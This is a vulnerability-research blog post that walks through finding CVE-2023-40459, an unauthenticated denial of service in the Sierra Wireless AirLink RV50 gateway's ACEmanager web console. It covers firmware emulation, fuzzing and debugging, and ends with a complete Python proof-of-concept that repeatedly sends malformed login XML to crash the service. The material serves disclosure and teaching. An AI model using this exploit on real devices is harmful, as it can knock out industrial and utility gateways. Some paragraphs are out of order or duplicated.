W4LK3R
GitHubLinkedInEmail
  • Home
    • Who am I ?
  • Research
    • Double Take Zero Day (CVE-2023–40459)
  • Red Team Diaries
    • #1 Domain Admin in 2 Hours
    • #2 Low Hanging Credentials
  • Malware Development
    • Basics
    • Dynamic Link Library
    • Code Execution
      • Create Local Thread
      • DLL Execution ( Disk )
      • Function Pointer (No API)
      • Handle2Self
      • Thread2Fiber
      • Callback Functions
      • Local Thread Hijacking / Context Injection
      • Local Mapping Injection
      • Local Module Stomping / DLL Hollowing
      • Local Function Stomping
Powered by GitBook
On this page
  • TL;DR
  • Intro
  • Setting the Stage
  • Firmware Decryption
  • Firmware Emulation
  • Attack Surface
  • Static Analysis
  • Dynamic Analysis
  • Fuzzing the Web Login Panel
  • Remote Debugging
  • CVE 2021–42260 TinyXML Infinite Loop
  • Unauthenticated Denial of Service (CVE-2023–40459)
  • The Exploit
  • Outro

Was this helpful?

  1. Research

Double Take Zero Day (CVE-2023–40459)

PreviousWho am I ?NextRed Team Diaries

Last updated 6 months ago

Was this helpful?

TL;DR

This blog post is about the process of discovering CVE-2023–40459 DoS vulnerability in SierraWireless Airlink product (RV50) which was discovered by my friend and I as well as ForeScout Vendere Labs. folks at ForeScout Labs reported this vulnerability and a few more before us and published Although the vulnerability was reported before, the published document does not contain any details about the discovery process and i felt that writing about the details can be useful for newbies ( such as myself ) who want to get their hands dirty in this field.


Intro


Setting the Stage

The AirLink® Raven RV50 is the industry’s lowest power LTE gateway. Simple to install and easy to manage, the Raven RV50 industrial gateway is designed to connect critical assets and infrastructure. Ideal for industrial-grade applications in energy, utilities and smart-city infrastructure, the Raven RV50 provides real-time remote connectivity for SCADA, distribution management systems and metering.

The firmware decryption part took our attention, we wanted to test it just to see if it works on all versions of the firmware. so as a test, we went on to vendor’s website and started looking for the same version of the firmware to begin with. unfortunately, we hit a wall right at the beginning, because the page only showed download links for latest version of firmware binary which was 4.16.0.021 at that time.


Firmware Decryption

After downloading and extracting the firmware with binwalk :

we face some encrypted files including firmware filesystem and kernel image:

Examining the file with binwalk again, we see that the decrypted filesystem is squashfs and the firmware is using a 32bit ARM Linux Kernel.

After extracting the decrypted filesystem, we moved on to the emulation part.


Firmware Emulation

Since this blog post is not about emulator configuration and setup, i’ll skip the tiny details. emulation was a real pain in the ass and took a lot of time, because we didn’t have access to a physical device for dynamic analysis and black box fuzzing. it also caused a lot of unnecessary rabbit holes along the way.

Here is the summary of what we did for firmware emulation:

  1. Created a new squashfs filesystem for emulating the binary (we needed more space for dynamic analysis tools such as gdbserver)

  2. Configured QEMU emulation framework for running the firmware (use custom ARM Kernel and setup port forwarding for GDB remote debugging)

  3. Copied all firmware binaries and analysis tools to the newly created filesystem

  4. A few tweaks here and there

  5. Started the emulator with our fingers crossed…

/etc/initng/daemon/acemanager.i

the exec command indicates:

  1. web server binary called ACEmanager in /sbin/ directory

  2. Public and private SSL keys for HTTPS connection in /etc/ACEmanager/certs/

  3. Static web page files (cgi, html, js, etc.) in /www/

  4. Shared objects needed by the web server in /lib/

To find out which libraries and shared objects are used by the web server, we can use readelf command:

/etc/initng/daemon/acemanager.i

the exec command indicates:

  1. web server binary called ACEmanager in /sbin/ directory

  2. Public and private SSL keys for HTTPS connection in /etc/ACEmanager/certs/

  3. Static web page files (cgi, html, js, etc.) in /www/

  4. Shared objects needed by the web server in /lib/

To find out which libraries and shared objects are used by the web server, we can use readelf command:

readelf –d /sbin/ACEmanager

For building the ARM kernel and emulating the firmware on a x64 Linux host, we used QEMU and Buildroot as mentioned before. the main pick here is that after building a new filesystem and Kernel image, we have to move the files from decrypted filesystem (binaries, static scripts, shared objects, etc.) to the new filesystem and do not replace anything related to built-in Linux binaries because the system would crash and emulation would fail.

After a lot of configurations/tweaks, here comes the working ACEmanager web console:


Attack Surface

When it comes to IoT systems (specially gateway devices), the first things that a remote adversary would target are:

  1. Open network services

  2. Web-based management console

With that in mind, considering we don’t have access to a physical instance of the device for network protocol fuzzing and testing network services (which is not possible on an emulator), we were left with the web-based console as the only attack surface we could actually work on.


Static Analysis


Dynamic Analysis

Fuzzing the Web Login Panel

The next step was remote debugging the binary to find out what is causing the segfault.


Remote Debugging

The strategy was remote debugging of ACEmanager using gdbserver on QEMU side and connecting to it using gdb client (GEF/pwndbg) from Ghidra debugger console so we can analyze both the execution flow and decompiler at the same time.

The steps:

  1. Running ACEmanager with command line arguments under gdbserver:

2. Opening ACEmanager binary in Ghidra debugger window:

3. Attaching gdb-multiarch from Ghidra debug console to remote gdbserver:

4. Running the fuzzer script to hit the segfault again and analyzing the disassembly/decompiler related to that code section.

The normal web authentication request sent to the web server, is something like this:

running the fuzzer script shows a crash is caused by an empty password tag in the XML data:

The picture shows that ACEmanager receives the username/password XML data from web requests, then checks the credential using PAM modules. this happens repeatedly until we send an empty password tag (<password></password>) which causes a segment violation that indicates a memory corruption in some place. as you can see, the crash is in ACEmanager::Connect() function which means this function or one of its callees is parsing the XML data to extract username and password for PAM authentication.


CVE 2021–42260 TinyXML Infinite Loop

Recalling from static analysis phase, the TinyXML library was imported and used in ACEmanager binary.

TinyXML is a simple, small, minimal, C++ XML parser that can be easily integrating into other programs. It reads XML and creates C++ objects representing the XML document. The objects can be manipulated, changed, and saved again as XML.

Since the segfault is happening during XML parsing process, this library took our attention. we started searching for possible vulnerabilities related to TinyXML itself. a few searches showed us the answer we were looking for:

CVE-2021–42260 has been identified in the TinyXML library and the TiXmlParsingData::Stamp module related to processing operations for web requests and XML messages. This vulnerability arises due to an infinite loop caused by infinite recursion, which never reaches the necessary condition to exit. To exploit this vulnerability, an attacker must send a web server an XML message with a malformed structure, causing the program to enter an infinite loop.

As mentioned, crashing the service occurs in the Connect() function of ACEmanager. This function is responsible for receiving requests and sending them to other functions for request type validation and establishing communication. Essentially, this function plays the role of a parent function for implementing XML Parser and PAM Authentication functions, and among the functions called from ACEmanager::Connect(), the TiXmlParsingData::Stamp function is observed. In the current scenario, exploiting this vulnerability involves using an HTTP request with an empty “password” tag, as XML processing in ACEmanager is performed by this library.


Unauthenticated Denial of Service (CVE-2023–40459)

To validate our assumptions, we set a breakpoint on ACEmanager main function and right after hitting it, the TinyXML library is loaded into the program.

we set a break point on stamp function as well. in this state, ACEmanager awaits HTTP requests and it hits the breakpoint after receiving it. to validate the breakpoint, we check the disassembly instructions at that memory address in Ghidra:

in the first request, we sent an XML data with values in the password tag just to see how the data is parsed in the function. after hitting the second breakpoint, we toke a look at the call stack:

You can clearly see that ACEmanager::Connect() function is the caller of TiXmlParsingData and TiXmlElement. checking the function parameters proves the point as well:

As observed, the stamp function receives the XML request as an input parameter from the connect function. according to CVE-2021–42260 if we send an empty password tag, the program enters the infinite loop. if we compare the TinyXML source code with Ghidra decompiler output, we can confirm this:

after sending the XML data with empty password tag, we see this in gdb:

When username and password tags are passed to the stamp function, the third breakpoint is hit and following instructions cause the infinite loop:

if we disable this breakpoint, the infinite loop will cause a resource exhaustion condition and hits the limit Linux kernel parameters that don’t allow any program to consume more than a specific amount of system resources, this in turn, will cause the stamp function to be terminated thus raising an exception in connect function and finally, causing a segmentation fault and program crash.


The Exploit

Sending the malformed XML data in the POST web request parameters will lead to a crash in ACEmanager binary and cause a Denial of Service (DoS) condition, but the initng script will restart the service after a few minutes. an attacker could continue the attack by re-sending the payload over and over again. here is the final PoC exploit for this attack:

import sys
import requests
import time
import urllib3

# Suppress only the single InsecureRequestWarning from urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def send_requests(url, port, headers):
    request_count = 0
    data = '''<request xmlns="urn:acemanager">
<connect>
<login>user</login>
<password></password>
</connect>
</request>'''

    try:
        while True:
            try:
                request_count += 1
                print(f'requests sent: {request_count}', end='\r')
                requests.post(f'https://{url}:{port}/xml/Connect.xml', headers=headers, data=data, verify=False)
            except requests.exceptions.ConnectionError:
                pass
            time.sleep(0.1) 
    except KeyboardInterrupt:
        print(f'\nAttack stopped. Total number of requests sent: {request_count}')

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("Usage: python script.py <url> <port>")
        sys.exit(1)

    target_url = sys.argv[1]
    target_port = sys.argv[2]

    # Initialize headers based on the URL
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Accept': 'application/xml, text/xml, */*; q=0.01',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'text/xml',
        'X-Requested-With': 'XMLHttpRequest',
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'same-origin',
        'Connection': 'close'
    }

    # Check for HTTP/HTTPS prefix and strip it
    if target_url.startswith('http://'):
        target_url = target_url[7:]  # Strip 'http://'
        # Use HTTP for the request
        headers['Origin'] = f'http://{target_url}:{target_port}'
        headers['Referer'] = f'http://{target_url}:{target_port}/'
    elif target_url.startswith('https://'):
        target_url = target_url[8:]  # Strip 'https://'
        # Use HTTPS for the request
        headers['Origin'] = f'https://{target_url}:{target_port}'
        headers['Referer'] = f'https://{target_url}:{target_port}/'
    else:
        print("URL must start with 'http://' or 'https://'")
        sys.exit(1)

    print("\n\nDoS Attack started, press Ctrl+C to stop...\n")
    send_requests(target_url, target_port, headers)

Outro

As my first real-world experience in bug hunting, this was so hard, time consuming and had a huge learning curve as well. but it also shows that binary exploitation is not always about being an opcode ninja and digging deep inside the OS. sometimes its about finding the right way of looking at the system and even using the previous findings of other researchers or older vulnerabilities to get what you want.

This is my first dive into the world of vulnerability research with the help of my friend and it felt like stepping into uncharted territory. you can read the Persian version of this blog post at .

Long story short, our findings were out of curiosity. we were randomly searching and looking at blogs and write-ups about IoT exploitation (because of the lack of exploit mitigation technologies and old software found in these platforms ) which led us to this . in summary, its about decrypting the firmware of AirLink devices as well as discovering a command injection and LPE (local privilege escalation) vulnerability.

But a quick search on Internet archive ( reveals a snapshot from February 2020 which shows that older firmware files (4.13.0.017) are still accessible via direct download links:

When it comes to firmware analysis, there are a few familiar names that come to mind. automated firmware analysis frameworks such as , make life easier for reverse engineers and are very popular. but in this case, we had to go manual and get our hands dirty.

Following the mentioned earlier, we used the same decryption code along with the firmware version to decrypt these files:

cross-compiled an ARM-based Linux Kernel for QEMU emulator using tools (the originally extracted kernel caused a kernel panic)

After extracting the firmware, we started looking for that are responsible for initiating system daemons. while searching these files, we found one that was responsible for starting the web interface for device management console:

Starting with static analysis, we examined the ACEmanager binary in Ghidra, looking for useful strings, execution flow, unsafe functions, program inputs, etc. aside from running and (which returned nothing useful), analyzing the disassembly/decompiler output shows that ACEmanager binary is not stripped and function names are visible. bad function usage had a long list but none of them are accessible from the web console.

Black box fuzzing of the ACEmanager binary was first performed using binary instrumentation framework and the famous in a user-mode emulation scenario. this approach led to a crash but after farther examination it didn’t reveal a vulnerability or useful code coverage.

The next option, was using QEMU full-system emulation with . the fuzz parameters were the pre-authentication parameters in the POST web request sent from web login panel. this is where we hit the jackpot :)

To fuzz the binary in a more controllable fashion, we wrote a python fuzzer script using to create test cases for user authentication POST request parameters including username and password fields.

You can also find the PoC on GitHub at .

Majid
this link
post
wayback machine)
FAT
blog post
buildroot
initng files
SonarQube
Semgrep
Qiling
AFL
Valgrind
pyradamsa
library
this link
this document.
CVE - CVE-2021-42260
Logo
Page cover image